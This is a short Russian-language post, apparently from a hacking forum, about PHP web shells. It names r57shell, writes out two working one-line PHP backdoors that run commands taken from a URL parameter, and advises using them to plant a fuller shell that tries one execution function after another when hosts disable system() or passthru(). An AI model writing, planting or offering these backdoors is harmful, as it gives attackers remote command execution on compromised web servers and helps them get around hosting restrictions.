r57shell.
Самопалы типа <?php eval($_GET['cmd']);?> <?php echo `$_GET[cmd]`;?> пользую только чтобы нормальный шелл воткнуть, ибо многие хостеры отключают system() passthru() и т.д., шелл должен все проверять по порядку способы.